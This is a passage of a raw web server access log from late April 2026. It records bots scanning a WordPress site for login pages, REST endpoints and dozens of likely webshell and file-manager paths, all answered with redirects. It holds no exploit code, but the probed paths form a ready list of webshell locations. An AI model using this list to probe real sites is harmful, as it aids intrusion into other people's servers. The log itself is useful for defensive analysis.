/wp-content/mu-plugins/object-cache-helper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:141.0) Gecko/20100101 Firefox/141.0" 192.99.151.197 - - [29/Apr/2026:14:00:47 +0300] "GET /wp-content/plugins/smart-slider-3/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" 64.89.160.79 - - [29/Apr/2026:13:00:10 +0300] "GET /admin/jquery_uploader/server/php/index.php?file=tf2rghf.jpg HTTP/1.1" 301 795 "-" "ALittle Client" 192.99.151.197 - - [29/Apr/2026:14:00:46 +0300] "GET /wp-includes/.cache_key HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.11 Safari/605.1.15" 192.99.151.197 - - [29/Apr/2026:14:00:46 +0300] "GET /wp-includes/class-wp-locale-helper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Debian; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 192.99.151.197 - - [29/Apr/2026:14:00:46 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.6.25" 193.176.153.123 - - [29/Apr/2026:15:17:33 +0300] "GET /wp-json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" 170.106.165.186 - - [29/Apr/2026:16:21:25 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 193.176.153.123 - - [29/Apr/2026:15:18:08 +0300] "GET /?rest_route=/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" 156.67.26.52 - - [29/Apr/2026:14:37:58 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 156.67.26.52 - - [29/Apr/2026:14:36:58 +0300] "GET /wp-content/plugins/shell/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 124.156.179.141 - - [29/Apr/2026:15:37:10 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 45.130.83.82 - - [29/Apr/2026:16:24:28 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0" 156.67.26.52 - - [29/Apr/2026:14:39:11 +0300] "GET /wp-content/plugins/wp-help/mini.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 80.87.202.209 - - [29/Apr/2026:17:27:21 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 203.95.198.184 - - [29/Apr/2026:17:17:27 +0300] "GET //wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 107.189.10.248 - - [29/Apr/2026:17:23:06 +0300] "POST ///wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36" 107.189.10.248 - - [29/Apr/2026:17:21:43 +0300] "GET ///wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36" 168.144.138.92 - - [29/Apr/2026:18:11:23 +0300] "GET /license.txt HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 40.69.66.178 - - [29/Apr/2026:18:37:46 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 222.128.95.49 - - [29/Apr/2026:20:43:01 +0300] "GET /wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 49.51.166.228 - - [29/Apr/2026:20:39:26 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.166.9.204 - - [29/Apr/2026:22:59:44 +0300] "GET /zzx.php HTTP/1.1" 301 795 "-" "-" 20.166.9.204 - - [29/Apr/2026:22:59:48 +0300] "GET /dr.php HTTP/1.1" 301 795 "-" "-" 20.166.9.204 - - [29/Apr/2026:23:00:09 +0300] "GET /pass.php HTTP/1.1" 301 795 "-" "-" 101.32.15.141 - - [29/Apr/2026:21:40:05 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 49.235.136.28 - - [29/Apr/2026:22:20:16 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.166.9.204 - - [29/Apr/2026:22:59:25 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.166.9.204 - - [29/Apr/2026:23:00:02 +0300] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 20.166.9.204 - - [29/Apr/2026:23:00:04 +0300] "GET /albin.php HTTP/1.1" 301 795 "-" "-" 20.166.9.204 - - [29/Apr/2026:23:00:28 +0300] "GET /ayk.php HTTP/1.1" 301 795 "-" "-" 20.166.9.204 - - [29/Apr/2026:23:00:33 +0300] "GET /reune.php HTTP/1.1" 301 795 "-" "-" 74.48.31.91 - - [29/Apr/2026:22:06:14 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.166.9.204 - - [29/Apr/2026:22:59:36 +0300] "GET /xse.php HTTP/1.1" 301 795 "-" "-" 20.166.9.204 - - [29/Apr/2026:22:59:30 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 20.166.9.204 - - [29/Apr/2026:22:59:55 +0300] "GET /eetu.php HTTP/1.1" 301 795 "-" "-" 20.166.9.204 - - [29/Apr/2026:23:00:19 +0300] "GET /aevly.php HTTP/1.1" 301 795 "-" "-" 20.166.9.204 - - [29/Apr/2026:23:00:39 +0300] "GET /rasse.php HTTP/1.1" 301 795 "-" "-" 85.11.167.118 - - [30/Apr/2026:00:25:42 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15" 119.95.170.51 - - [30/Apr/2026:03:26:44 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 168.144.108.175 - - [30/Apr/2026:01:45:01 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://www.bing.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 168.138.172.235 - - [30/Apr/2026:03:06:15 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; WP-Safe-Scanner/1.0)" 168.138.172.235 - - [30/Apr/2026:03:06:17 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; WP-Safe-Scanner/1.0)" 168.138.172.235 - - [30/Apr/2026:03:06:18 +0300] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; WP-Safe-Scanner/1.0)" 168.138.172.235 - - [30/Apr/2026:03:06:19 +0300] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; WP-Safe-Scanner/1.0)" 168.138.172.235 - - [30/Apr/2026:03:06:19 +0300] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; WP-Safe-Scanner/1.0)" 168.138.172.235 - - [30/Apr/2026:03:06:20 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; WP-Safe-Scanner/1.0)" 116.76.39.221 - - [30/Apr/2026:01:09:02 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.3039.53 Safari/537.36 Edge/18.18362" 43.157.170.13 - - [30/Apr/2026:02:40:25 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.166.226.186 - - [30/Apr/2026:03:41:56 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 80.242.56.181 - - [30/Apr/2026:03:45:25 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.151.104.6 - - [30/Apr/2026:04:34:13 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 49.235.136.28 - - [30/Apr/2026:09:22:02 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 154.44.14.215 - - [30/Apr/2026:06:58:11 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 103.191.169.162 - - [30/Apr/2026:09:32:20 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43.166.251.233 - - [30/Apr/2026:08:56:10 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 171.213.204.204 - - [30/Apr/2026:09:05:31 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 62.60.130.228 - - [30/Apr/2026:06:29:17 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://www.reddit.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36" 20.223.136.145 - - [30/Apr/2026:09:44:07 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:44:07 +0300] "GET /x/ HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:44:15 +0300] "GET /wp-admin/css/colors/modern/ HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:44:15 +0300] "GET /configuration.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:44:50 +0300] "GET /.sghb.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:44:53 +0300] "GET /zoko.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:44:56 +0300] "GET /solo1.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:45:00 +0300] "GET /locales.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:45:02 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 43.166.244.66 - - [30/Apr/2026:09:47:11 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.223.136.145 - - [30/Apr/2026:09:47:29 +0300] "GET /up2.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:47:32 +0300] "GET /11.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:48:44 +0300] "GET /6.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:48:51 +0300] "GET /cjfuns.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:49:35 +0300] "GET /xa.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:49:38 +0300] "GET //admin.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:49:46 +0300] "GET /inege.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:49:49 +0300] "GET /classgoto24.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:57:19 +0300] "GET /file18.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:42:56 +0300] "GET /file58.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:42:58 +0300] "GET /olik.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:43:01 +0300] "GET /h.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:47:58 +0300] "GET /8.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:48:03 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:48:34 +0300] "GET /5.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:49:13 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:49:59 +0300] "GET /w2025.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:50:45 +0300] "GET //f6.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:52:37 +0300] "GET //cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:52:37 +0300] "GET /fff.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:52:58 +0300] "GET //admin1.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:54:49 +0300] "GET /fe5.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:55:52 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:56:46 +0300] "GET /wp-content/plugins/pwnd/as.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:43:16 +0300] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:43:41 +0300] "GET /wpxml.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:43:50 +0300] "GET /bob.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:43:54 +0300] "GET /spawns.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:44:38 +0300] "GET /geforce.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:44:41 +0300] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:45:37 +0300] "GET /yasnu.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:45:41 +0300] "GET //sl.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:45:45 +0300] "GET /vuln.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:45:48 +0300] "GET /wp-temp.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:45:51 +0300] "GET /wp-content/themes/twentytwentyfive/assets/ HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:45:51 +0300] "GET /wp-includes/blocks/buttons/ HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:45:51 +0300] "GET /class-bda.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:47:49 +0300] "GET /seo.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:47:53 +0300] "GET /7.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:50:05 +0300] "GET /fvvff.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:51:09 +0300] "GET /wp-admin/css/bolt.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:51:45 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:51:48 +0300] "GET //wp-includes/js/jquery/ HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:51:48 +0300] "GET //wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:51:52 +0300] "GET /8xyz.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:51:55 +0300] "GET //adminfuns.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:52:32 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:52:42 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:52:42 +0300] "GET /makeasmtp.php?p= HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:55:24 +0300] "GET //a1.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:55:59 +0300] "GET //wp-includes/css/index.php?p= HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:57:48 +0300] "GET /admin/admin.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:45:06 +0300] "GET /pucci.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:46:56 +0300] "GET /ewp.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:46:58 +0300] "GET /dx.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:46:58 +0300] "GET /xff.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:47:01 +0300] "GET /lupo.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:51:39 +0300] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:51:39 +0300] "GET /sbhu.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:52:21 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:54:58 +0300] "GET //wp-content/uploads/2021/02/index.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:57:26 +0300] "GET /xwx1.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:43:06 +0300] "GET /cong HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:43:09 +0300] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:43:24 +0300] "GET /atika.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:43:27 +0300] "GET /xxl.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:43:34 +0300] "GET /uploat.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:44:20 +0300] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:44:20 +0300] "GET /uwu.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:44:22 +0300] "GET /uwa.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:44:25 +0300] "GET /crgio.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:45:28 +0300] "GET /no20.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:46:45 +0300] "GET /puc.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:46:48 +0300] "GET //themes.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:47:18 +0300] "GET /tews.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:47:22 +0300] "GET /moshou.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:47:24 +0300] "GET /xeaq.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:54:10 +0300] "GET /BDKR28WP.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:54:12 +0300] "GET //wp-includes/l10n/ HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:56:10 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:56:11 +0300] "GET /bal.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:56:15 +0300] "GET /in.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:56:20 +0300] "GET /gssdd.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:56:24 +0300] "GET //cgi-bin/admin.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:57:39 +0300] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:57:39 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:42:43 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:44:01 +0300] "GET /t3s.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:45:12 +0300] "GET /wp-includes/blocks/details/ HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:45:12 +0300] "GET /.dj/index.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:45:18 +0300] "GET /wp-includes/blocks/audio/ HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:45:18 +0300] "GET /.tmb/ HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:45:57 +0300] "GET /bhm.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:46:00 +0300] "GET /xmu.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:47:06 +0300] "GET /awa.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:47:09 +0300] "GET /popo.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:47:12 +0300] "GET /13.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:48:09 +0300] "GET /2.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:48:17 +0300] "GET /3.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:48:21 +0300] "GET /4.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:48:58 +0300] "GET /class.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:49:00 +0300] "GET /100.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:49:03 +0300] "GET /.well-known/nastar.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:49:07 +0300] "GET /2026w.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:50:29 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:50:35 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:50:39 +0300] "GET /a5.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:54:35 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:54:36 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:55:10 +0300] "GET /av.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:55:11 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:55:38 +0300] "GET /update/f35.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:56:40 +0300] "GET /bs1.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:56:52 +0300] "GET /gettest.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:56:55 +0300] "GET /file48.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:56:57 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:56:58 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:57:01 +0300] "GET /drykl.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:44:45 +0300] "GET /77.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:46:12 +0300] "GET /wp-xme.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:49:26 +0300] "GET /fine.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:49:30 +0300] "GET /hplfuns.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:50:20 +0300] "GET //edit.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:50:52 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:50:55 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "-" 20.223.136.145 - - [30/Apr/2026:09:50:58 